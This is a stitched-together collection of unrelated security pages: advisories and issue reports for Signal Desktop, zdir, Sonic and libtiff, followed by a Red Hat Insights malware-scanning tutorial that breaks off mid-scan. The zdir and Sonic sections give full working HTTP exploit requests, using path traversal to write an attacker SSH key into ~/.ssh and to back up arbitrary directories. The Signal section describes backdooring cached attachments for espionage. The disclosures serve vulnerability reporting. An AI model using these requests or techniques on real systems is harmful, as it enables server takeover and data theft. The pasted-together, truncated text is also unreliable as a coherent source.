Signal Desktop before 6.2.0 on Windows, Linux, and macOS allows an attacker to obtain potentially sensitive attachments sent in messages from the attachments.noindex directory. Cached attachments are not effectively cleared. In some cases, even after a self-initiated file deletion, an attacker can still recover the file if it was previously replied to in a conversation. (Local filesystem access is needed by the attacker.)

A flaw in how files are stored in Signal Desktop before 6.2.0 allows a threat actor to potentially obtain sensitive attachments sent in messages. Subsequently, a similar issue with Signal Desktop before 6.2.0 exists, allowing an an attacker to modify conversation attachments within the same directory. Client mechanisms fail to validate modifications of existing cached files, resulting in the ability to implement malicious code or overwrite pre-existing files and masquerade as pre-existing files. Local access is needed.

Reading time: 6 minutes.

**Identification**

While using signal, it was observed that the preview of an image was still visible even after having deleted the image because the image had been “replied” to. After looking through multiple files, the culprit directory was identified.

    C:\Users\foo\AppData\Roaming\Signal\attachments.noindex\*\
    

To replicate, an image was sent in a group chat

  
The image was stored as a regular file in this directory, and the image can be recovered by modifying the extension and adding .png (on macOS and Linux you can see a preview of the native extensions so you don’t have to manually look at file properties)

  
This isn’t an edge case though, Signal is temporarily storing all of these attachments, unencrypted. Images were recovered from early 2022.

  
On this image in particular, you can see that the date is labeled as 10/26/2022.

Based on previous vulnerability research with Keybase, I then wondered if the image would properly get purged if I were to delete it. After deleting the file, it was indeed purged from the %AppData% folder. However, there was one small edge case: replying to the attachment. If someone were to reply to the attachment, the file would not be cleared from the cache, thus CVE number one: Cleartext Storage of Sensitive Information (CVE-2023-24069) was born. In general, the cache mishandling opens up a slew of issues. An adversary that can get their hands on these files wouldn’t even need to decrypt them and there’s no regular purging process, so undeleted files just sit unencrypted in this folder.

  
  
As displayed, the file was successfully recovered, even after being deleted (and basically the reason I went on this wild chase to being with).

When I discussed this vulnerability, several people had brought up the fact that Signal stores the decryption key on disk with the Desktop Client anyway. While true, this is just one less step to decrypt files, because…well you don’t have to decrypt them at all. The possible attack vector would be an adversary who already has local host access, looking to intercept your communications to recover secrets to pivot elsewhere in the environment or exploit external trust (such as passwords for third-party services).

The other possible risk could be foreign emissaries being wrongfully detained and forcefully searched. An adversary intelligence organization could pull the disk from a PC and take a snapshot, and recover all of these attachments, unencrypted. Again though, we return back to the fact that the Signal Desktop Client stores the encryption key on disk anyway (lol). Nonetheless, this vulnerability is another point of failure and makes it five times easier for unskilled adversaries to possibly recover sensitive information.

I wanted to ensure that this wasn’t specific to Windows, but being that the Signal Desktop Client has a shared codebase across operating systems, it probably wasn’t a Windows only vulnerability.

Navigating to the valid directory on Linux proved the same issues

    ~/.config/Signal/attachments.noindex/*/ 
    

  
Once again, the files were being stored in the cache, unencrypted. The same results were produced when the file was deleted but the attachment was previously quoted in conversation as well, confirming that the vulnerability exists across operating systems.

I still wasn’t satisfied though. I wanted to do something cooler than discuss a lack of encryption on files, and the ability to recover “deleted” files. After all, the people screaming about how this isn’t a vulnerability weren’t going to be appeased - as per usual.

Toying around with the client, I observed strange behavior. If I were to go in this /attachments.noindex/\*/ folder, I could replace pre-existing sent attachments seamlessly. The client would automatically update it for me.

  
  
  
What you’re looking at is a set of three pictures. In picture number one, I identify the hacker pepe meme that I sent in a group chat, stored in a subdirectory within attachments.noindex - unencrypted, naturally. I named the german shepherd photo with the same value as the pepe meme, and overwrote it.

In picture number 2, you see that now when I try to download the pepe meme from the chat, it produces a picture of a german shepherd. Unfortunately that wasn’t enough to do anything. No one could see any updates to the attachment because everyone has a separate cache on their filesystem. HOWEVER. If you forward the attachment in another group chat or conversation, or the current one, Signal Desktop Client would now propagate the german shepherd rather than pepe which is what you thought you were forwarding.

Within itself, this is already its own vulnerability: CVE-2023-24068: Incorrect Resource Transfer Between Spheres. Amazing. Signal’s Desktop Client is not validating the existing file and it’s importing the new one without update any of the information or checking the file. Basically, it innately believes that the file is what it says it is. What we have here is the start of an attack chain.

**Chaining CVE-2023-24069 with CVE-2023-24068 for fun and for Espionage**

Up until this point we’ve established some key-operating knowledge:

*   Signal isn’t purging the cache correctly, resulting in unencrypted media files being stored.
*   When deleted, there are some cases in which the file is still able to be recovered.
*   Images can covertly be swapped and replaced, resulting in a new image propagating when forwarding, or a new image being produced when downloaded.

It was at this moment that I realized the Signal Desktop Client was likely storing ALL attachments in this way, including documents, and then I realized what an actual intelligence operator might do. Why would someone want to replace the file with something different when you can just backdoor the existing file?

First, for the sake of this proof of concept, imagine that we get access to the host machine of a high priority target, i.e. a prominent member of ‘x’ organization, who constantly forwards attachments from one signal group to another. Within one of their Signal groups we see a PDF file called “EndYearStatement”.

  
We have this fake PDF file. Now to backdoor it. Navigating to the attachments.noindex folder on the victim’s machine, we make a copy of the file. Malicious shellcode or components can now be introduced to the file. Copying the file name, the PDF is overwritten with our PDF that looks like the victim’s original file (but with our malicious code). It should be noted that you have to use the same file extension, you cannot swap the file out for a different extension.

  
The victim will still see the the same filename and preview - but the malware that we introduced has overwritten it.

  
If we were trying to abuse this vulnerability to spy on an adversary or gain access to their organization/group’s host machines, this process would be most ideal in the circumstance that our target is the type of person who naturally forwards attachments. We can wait for them to forward the new attachment to their group chats, and we can sit in our C2 and collect new beacons as we abuse a trusted relationship. It’s silent and covert, with no pretext required so none of the victims would be aware that the attachment was compromised. Not even the person who sent the original attachment to begin with.

For the sake of this proof of concept though, this process needs some assistance. We forward the attachment to a different group chat.

  
As you can see, the attachment did indeed retain its properties. However, when the group it was forwarded to downloads the attachment, they will be served the malicious one. It’s vital to backdoor the existing attachment, rather than send a new one to reduce suspicion.

  
Did it work? Uhhh nope it didn’t.

  
Joking. It worked. You can see that the one line PDF of “Dummy PDF file” includes our revisions:

  
Obviously, impact has now drastically escalated. Obtaining files is all good and well, but Sun Tzu once said:  
“The supreme art of war is to subdue the enemy without fighting.”

Which is basically exactly what you can do if you backdoor all of a user’s attachments and wait for them to forward them. The process would be slow, but could easily be assisted with python and a compiler.

CVE-2023-24069: CVE-2023-24068 && CVE-2023-24069: Abusing Signal Desktop Client for fun and for Espionage

An arbitrary file upload vulnerability in the /api/upload component of zdir v3.2.0 allows attackers to execute arbitrary code via a crafted .ssh file.

**The steps to reproduce.**

zdir version: 3.2.0

    git clone https://github.com/helloxz/zdir
    
    go run main.go init
    
    

modify file: /zdir/data/config/config.ini

start

View routes, the interface requires login credentials  

Enter the controller.Mkdir method, the parameters submitted by the post request are name and path  

Enter the !V\_dir method and find that it is only to judge whether the passed path is a folder

This creates a .ssh directory using directory traversal

    POST /api/dir/create HTTP/1.1
    Host: 127.0.0.1:6080
    Content-Length: 28
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
    X-Token: 433a01baeaa6c37ef46f21621cc06f95
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Content-Type: application/x-www-form-urlencoded;charset=UTF-8
    Accept: application/json, text/plain, */*
    X-Cid: bPlNFG
    sec-ch-ua-platform: "Linux"
    Origin: http://127.0.0.1:6080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:6080/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: USERNAME=admin; CID=bPlNFG; TOKEN=433a01baeaa6c37ef46f21621cc06f95
    Connection: close
    
    path=/../../../../&name=.ssh
    

Enter the controller.Upload method, you can specify the upload path  

There is a loophole in the regex to determine whether the path is legal, and you can use /../ to bypass it

Determine whether the folder exists, and terminate execution if it does not exist. So use the above directory traversal to create a folder, and then upload the file name without renaming it.  

    POST /api/upload HTTP/1.1
    Host: 127.0.0.1:6080
    Content-Length: 897
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqjo68lEJ6LlJ8zdA
    X-Token: 433a01baeaa6c37ef46f21621cc06f95
    X-Cid: bPlNFG
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    sec-ch-ua-platform: "Linux"
    Accept: */*
    Origin: http://127.0.0.1:6080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:6080/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: USERNAME=admin; CID=bPlNFG; TOKEN=433a01baeaa6c37ef46f21621cc06f95
    Connection: close
    
    ------WebKitFormBoundaryqjo68lEJ6LlJ8zdA
    Content-Disposition: form-data; name="path"
    
    /../../../../../../home/kali/.ssh
    ------WebKitFormBoundaryqjo68lEJ6LlJ8zdA
    Content-Disposition: form-data; name="file"; filename="authorized_keys"
    Content-Type: text/plain
    
    ssh-rsa
    
    ------WebKitFormBoundaryqjo68lEJ6LlJ8zdA--
    

Generate an ssh public key for upload  

Then you can use ssh to connect to the server

CVE-2023-23314: File upload ssh authorized_keys causes RCE · Issue #90 · helloxz/zdir

An issue in the component /admin/backups/work-dir of Sonic v1.0.4 allows attackers to execute a directory traversal.

Need to log in to the background  
Back up files in any directory through directory traversal

    POST /api/admin/backups/work-dir HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length: 35
    Admin-Authorization: 0996683e-0fab-46ec-936d-953d43be8048
    Accept: application/json, text/plain, */*
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
    sec-ch-ua-platform: "Linux"
    Content-Type: application/json
    Origin: http://127.0.0.1:8080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8080/admin/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    ["../../../../home/kali/Documents"]

CVE-2022-46959: Back up files in any directory through directory traversal · Issue #56 · go-sonic/sonic

processCropSelections in tools/tiffcrop.c in LibTIFF through 4.5.0 has a heap-based buffer overflow (e.g., "WRITE of size 307203") via a crafted TIFF image.

Skip to content

Open Issue created Nov 25, 2022 by **Tseng Szu Wei@13579and24680**

**heap-buffer-overflow /home/a13579/fuzz\_lib\_tiff/report/libtiff\_asan/libtiff/tif\_unix.c:362 in \_TIFFmemset in branch 38a58201**

Summary

heap-buffer-overflow /home/a13579/fuzz\_lib\_tiff/report/libtiff\_asan/libtiff/tif\_unix.c:362 in \_TIFFmemset results in SIGSEGV

(Summarize the bug encountered concisely)

Version

    a13579@13579 ~/f/report> libtiff/tools/tiffcrop -v
    Library Release: LIBTIFF, Version 4.4.0
    Copyright (c) 1988-1996 Sam Leffler
    Copyright (c) 1991-1996 Silicon Graphics, Inc.
    Tiffcrop version: 2.5.4, last updated: 27-08-2022
    Tiffcp code: Copyright (c) 1988-1997 Sam Leffler
               : Copyright (c) 1991-1997 Silicon Graphics, Inc
    Tiffcrop additions: Copyright (c) 2007-2010 Richard Nolde

(libtiff version)

Steps to reproduce

    $ git clone https://gitlab.com/libtiff/libtiff.git
    $ cd libtiff/
    $ ./autogen.sh
    $ ./configure
    $ make -j
    $ ./tools/tiffcrop -Z 1:3,2:4 -e divided ./poc ./aa
    TIFFReadDirectoryCheckOrder: Warning, Invalid TIFF directory; tags are not sorted in ascending order.
    TIFFReadDirectory: Warning, Unknown field with tag 12336 (0x3030) encountered.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12336 (Tag 12336) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFAdvanceDirectory: Error fetching directory count.
    loadImage: Image lacks Photometric interpretation tag.
    TIFFReadDirectoryCheckOrder: Warning, Invalid TIFF directory; tags are not sorted in ascending order.
    TIFFReadDirectory: Warning, Unknown field with tag 12336 (0x3030) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 6712 (0x1a38) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 7330 (0x1ca2) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 7948 (0x1f0c) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 8566 (0x2176) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 9184 (0x23e0) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 9802 (0x264a) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 10420 (0x28b4) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 11038 (0x2b1e) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 11656 (0x2d88) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 12274 (0x2ff2) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 12494 (0x30ce) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 206 (0xce) encountered.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12336 (Tag 12336) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 6712 (Tag 6712) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 7330 (Tag 7330) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 7948 (Tag 7948) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 8566 (Tag 8566) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 9184 (Tag 9184) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 9802 (Tag 9802) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 10420 (Tag 10420) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 11038 (Tag 11038) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 11656 (Tag 11656) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12274 (Tag 12274) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12494 (Tag 12494) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 206 (Tag 206) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    loadImage: Image lacks Photometric interpretation tag.
    fish: Job 1, './tools/tiffcrop -Z 1:3,2:4 -e…' terminated by signal SIGSEGV (Address boundary error)

(How one can reproduce the issue - this is very important)

Platform

    a13579@13579 ~/f/r/libtiff (master)> gcc --version
    gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
    Copyright (C) 2019 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.  There is NO
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    
    a13579@13579 ~/f/r/libtiff (master)> uname -r
    5.15.0-50-generic
    a13579@13579 ~/f/r/libtiff (master)> lsb_release -a
    No LSB modules are available.
    Distributor ID:	Ubuntu
    Description:	Ubuntu 20.04.5 LTS
    Release:	20.04
    Codename:	focal

(Operating system, architecture, compiler details)

Asan report (compile with " ./configure CFLAGS='-fsanitize=address -g3' CXXFALGS='-fsanitize=address -g3' ")

    a13579@13579 ~/f/report [SIGSEGV]> libtiff_asan/tools/tiffcrop -Z 1:3,2:4 -e divided poc /dev/null
    TIFFReadDirectoryCheckOrder: Warning, Invalid TIFF directory; tags are not sorted in ascending order.
    TIFFReadDirectory: Warning, Unknown field with tag 12336 (0x3030) encountered.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12336 (Tag 12336) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFAdvanceDirectory: Error fetching directory count.
    loadImage: Image lacks Photometric interpretation tag.
    TIFFWriteDirectoryTagData: IO error writing tag data.
    : Failed to write IFD for page number 0.
    writeRegions: Unable to write new image.
    TIFFReadDirectoryCheckOrder: Warning, Invalid TIFF directory; tags are not sorted in ascending order.
    TIFFReadDirectory: Warning, Unknown field with tag 12336 (0x3030) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 6712 (0x1a38) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 7330 (0x1ca2) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 7948 (0x1f0c) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 8566 (0x2176) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 9184 (0x23e0) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 9802 (0x264a) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 10420 (0x28b4) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 11038 (0x2b1e) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 11656 (0x2d88) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 12274 (0x2ff2) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 12494 (0x30ce) encountered.
    TIFFReadDirectory: Warning, Unknown field with tag 206 (0xce) encountered.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12336 (Tag 12336) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 6712 (Tag 6712) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 7330 (Tag 7330) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 7948 (Tag 7948) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 8566 (Tag 8566) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 9184 (Tag 9184) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 9802 (Tag 9802) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 10420 (Tag 10420) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 11038 (Tag 11038) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 11656 (Tag 11656) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12274 (Tag 12274) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 12494 (Tag 12494) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    TIFFFetchNormalTag: Defined set_field_type of custom tag 206 (Tag 206) is TIFF_SETGET_UNDEFINED and thus tag is not read from file.
    loadImage: Image lacks Photometric interpretation tag.
    =================================================================
    ==1794501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d000013a03 at pc 0x7f070adcbf3d bp 0x7ffeab2adb40 sp 0x7ffeab2ad2e8
    WRITE of size 307203 at 0x62d000013a03 thread T0
        #0 0x7f070adcbf3c in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762
        #1 0x7f070acfa51b in _TIFFmemset /home/a13579/fuzz_lib_tiff/report/libtiff_asan/libtiff/tif_unix.c:362
        #2 0x557305d40ef6 in processCropSelections /home/a13579/fuzz_lib_tiff/report/libtiff_asan/tools/tiffcrop.c:7826
        #3 0x557305d23111 in main /home/a13579/fuzz_lib_tiff/report/libtiff_asan/tools/tiffcrop.c:2511
        #4 0x7f070a7bf082 in __libc_start_main ../csu/libc-start.c:308
        #5 0x557305d19b6d in _start (/home/a13579/fuzz_lib_tiff/report/libtiff_asan/tools/.libs/tiffcrop+0x9b6d)
    
    0x62d000013a03 is located 0 bytes to the right of 38403-byte region [0x62d00000a400,0x62d000013a03)
    allocated by thread T0 here:
        #0 0x7f070ae71808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
        #1 0x7f070acfa467 in _TIFFmalloc /home/a13579/fuzz_lib_tiff/report/libtiff_asan/libtiff/tif_unix.c:336
        #2 0x557305d19d00 in limitMalloc /home/a13579/fuzz_lib_tiff/report/libtiff_asan/tools/tiffcrop.c:644
        #3 0x557305d40d1b in processCropSelections /home/a13579/fuzz_lib_tiff/report/libtiff_asan/tools/tiffcrop.c:7803
        #4 0x557305d23111 in main /home/a13579/fuzz_lib_tiff/report/libtiff_asan/tools/tiffcrop.c:2511
        #5 0x7f070a7bf082 in __libc_start_main ../csu/libc-start.c:308
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 in __interceptor_memset
    Shadow bytes around the buggy address:
      0x0c5a7fffa6f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5a7fffa700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5a7fffa710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5a7fffa720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5a7fffa730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c5a7fffa740:[03]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5a7fffa750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5a7fffa760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5a7fffa770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5a7fffa780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5a7fffa790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==1794501==ABORTING

poc: poc

CVE-2022-48281: heap-buffer-overflow /home/a13579/fuzz_lib_tiff/report/libtiff_asan/libtiff/tif_unix.c:362 in _TIFFmemset in branch 38a58201 (#488) · Issues · libtiff / libtiff · GitLab

Did you know that <a href="https://www.redhat.com/en/technologies/management/insights">Red Hat Insights</a> for <a href="https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux">Red Hat Enterprise Linux</a> (RHEL) can be used to help detect the presence of malware? This makes it more likely that you'll know when a RHEL system has sustained a malware attack. The effectivenes

Did you know that **Red Hat Insights** for **Red Hat Enterprise Linux** (RHEL) can be used to help detect the presence of malware? This makes it more likely that you'll know when a RHEL system has sustained a malware attack. The effectiveness of Insights for this purpose is enhanced by threat intelligence subscriptions from IBM X-Force, in collaboration with Red Hat.

The Insights malware-detection service is a monitoring and assessment tool that scans RHEL systems for the presence of known malware. The system incorporates YARA pattern-matching software and detection signatures.

Insights is a cloud-based service that can be accessed from the Red Hat customer portal. This means there is no maintenance to be done on the user's end. Simply integrate it with Insights clients, which are available for almost all subscriptions to RHEL, Red Hat OpenShift and Red Hat Ansible Automation Platform.

Insights proactively and continuously analyzes platforms and applications to help predict risks, recommend actions, track licenses and manage costs. This helps enterprises better manage their on-premise and hybrid cloud environments.

Sound good? Then I'll show you how easy it is to integrate your Red Hat environment, issue the first report on malware detection, and other useful information for smooth-running Red Hat systems.

**Prerequisites**

Since this is a modern solution, we will need a supported operating system.

*   The operating system version must be RHEL8 or RHEL9
*   The administrator must have administrative or sudo access to the system
*   The Insights client package must be installed
*   The environment must be registered in Insights for Red Hat Enterprise Linux
*   The system must be able to access the Red Hat Cloud Console via direct internet access or HTTP proxy
*   User permission on malware-detection groups, roles and members in User Access

**Laboratory**

We will work with an RHEL 8 system to better exemplify the reports generated. We will intentionally adjust some items to provide a better analysis by Insights.

The fully qualified domain name (FQDN) will be:

*   **Host**: rhel8-yara-testing.rhbrlabs.com

**Host**

For the host, we’ll use RHEL 8.5, with no updates and Security-Enhanced Linux (SELinux) disabled. This insecure setup is necessary to generate more inputs to Insights.

*   A regular update routine in a real production environment is important. Likewise SELinux should operate in Enforcing mode to increase the reliability of a production environment.

Before proceeding with the YARA installation, we need to perform three important basic tasks:

*   Take care that the environment clock is always synchronized
*   Set the timezone correctly
*   Perform the system subscription

**Basic tasks**

Disable SELinux (again, in real production environments, we recommend using SELinux in Enforcing mode), and perform the basic tasks:

\# sed -i s/'\\=enforcing'/'\\=disabled'/g /etc/selinux/config
# timedatectl set-timezone America/Sao\_Paulo
# hostnamectl set-hostname rhel8-yara-testing.rhbrlabs.com

You may want to logout/login before performing the next steps:

\# subscription-manager register --auto-attach
# subscription-manager status
# subscription-manager repos
# dnf -y install chrony
# systemctl enable --now chronyd.service
# chronyc sources
# reboot

Don't update the system yet!

**Software installation**

Now the YARA and Insights packages:

\# dnf -y install yara insights-client

Only these packages are needed for the magic to happen. Very handy.

**Using Insights**

Let's move on to performing the basic tasks below:

*   Connection test
*   Registering the system in Insights
*   Scanning the system for malware

**Connection test**

Test the connection to Insights for RHEL.

\# insights-client --test-connection

Running Connection Tests...
=== Begin Upload URL Connection Test ===
Testing: https://cert-api.access.redhat.com/r/insights/uploads/
POST https://cert-api.access.redhat.com/r/insights/uploads/
HTTP Status: 200 OK
HTTP Response Text: {"request\_id":"e7d200e80a","upload":{"account\_number":"000000X","org\_id":"1111111Y"}}
Successfully connected to: https://cert-api.access.redhat.com/r/insights/uploads/
=== End Upload URL Connection Test: SUCCESS ===

=== Begin API URL Connection Test ===
Testing: https://cert-api.access.redhat.com/r/insights/
GET https://cert-api.access.redhat.com/r/insights/
HTTP Status: 200 OK
HTTP Response Text: lub-dub
Successfully connected to: https://cert-api.access.redhat.com/r/insights/
=== End API URL Connection Test: SUCCESS ===

Connectivity tests completed successfully
See /var/log/insights-client/insights-client.log for more details.

In the example above, we can see that the system was able to connect to the Insights cloud services.

**Registering the system in Insights**

Register the system with Insights.

\# insights-client --register

Successfully registered host rhel8-yara-testing.rhbrlabs.com
Automatic scheduling for Insights has been enabled.
Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Uploading Insights data.
Successfully uploaded report from rhel8-yara-testing.rhbrlabs.com to account 000000X.
View the Red Hat Insights console at https://console.redhat.com/insights/

System successfully registered in Insights. Now move on to the next step.

**Malware scanning**

Run the Insights client malware-detection collector. This operation will take a while to finish.

\# insights-client --collector malware-detection

Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Writing the malware-detection app default configuration to /etc/insights-client/malware-detection-config.yml

Performing a test scan of /etc/insights-client/malware-detection-config.yml and the current process (PID 5638) to verify the malware-detection app is installed and scanning correctly ...

Starting filesystem scan ...
Scanning specified files in /etc ...
Matched rule TEST\_RedHatInsightsMalwareDetection in file /etc/insights-client/malware-detection-config.yml
Scan time for /etc: 0 seconds
Filesystem scan time: 00:00:00
Starting processes scan ...
Scanning process 5638 ...
Matched rule TEST\_RedHatInsightsMalwareDetection in process 5638
Scan time for process 5638: 0 seconds
Processes scan time: 00:00:00
Found 2 rule matches.

Red Hat Insights malware-detection app test scan complete.
Test scan results are not recorded in the Insights UI (https://console.redhat.com/insights/malware)
To perform proper scans, please set test\_scan: false in /etc/insights-client/malware-detection-config.yml

Uploading Insights data.
Successfully uploaded report for rhel8-yara-testing.rhbrlabs.com.

A rule related to "**TEST\_RedHatInsightsMalwareDetection**" will be matched, but this is intentional and nothing to worry about, as the operation was performed in "**test**" mode. Later on we will see how to deactivate the test mode.

The results of the initial scan may not yet appear in the detection service's Web UI, but Insights will be fully operational and update the Web UI with some information.

Go to the Insights console and check the **Insights findings** for your system.

_Insights advisory_

_Vulnerabilities found_

_Pending patches_

The collector takes the following actions during this first run:

*   Creates a malware detection configuration testing file at **/etc/insights-client/malware-detection-config.yml**.
*   Performs a test scan and uploads the results

Next, we will see how to customize the generated YAML configuration to enable other functions, as this initial scan only does simpler checks.

Edit **/etc/insights-client/malware-detection-config.yml** and set the **test\_scan** option to **false**.

\# sed -i s/'test\_scan:\\ true'/'test\_scan:\\ false'/g /etc/insights-client/malware-detection-config.yml

There are other YAML configuration options you can explore, but for now, we'll just stick with what we have.

Now perform a full filesystem scan, by re-running the Insights client collector:

\# insights-client --collector malware-detection
Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Skipping missing filesystem\_scan\_exclude item: '/cgroup'
Skipping missing filesystem\_scan\_exclude item: '/selinux'
Skipping missing filesystem\_scan\_exclude item: '/net'
Excluding specified filesystem items: \['/proc', '/sys', '/mnt', '/media', '/dev'\]
Starting filesystem scan ...
Scanning files in /.autorelabel ...
Scan time for /.autorelabel: 0 seconds
Scanning files in /.bash\_history ...
Scan time for /.bash\_history: 0 seconds
Scanning files in /boot ...
Scan time for /boot: 0 seconds
Scanning files in /etc ...
Scan time for /etc: 0 seconds
Scanning files in /home ...
Scan time for /home: 0 seconds
Scanning files in /opt ...
Scan time for /opt: 0 seconds
Scanning files in /root ...
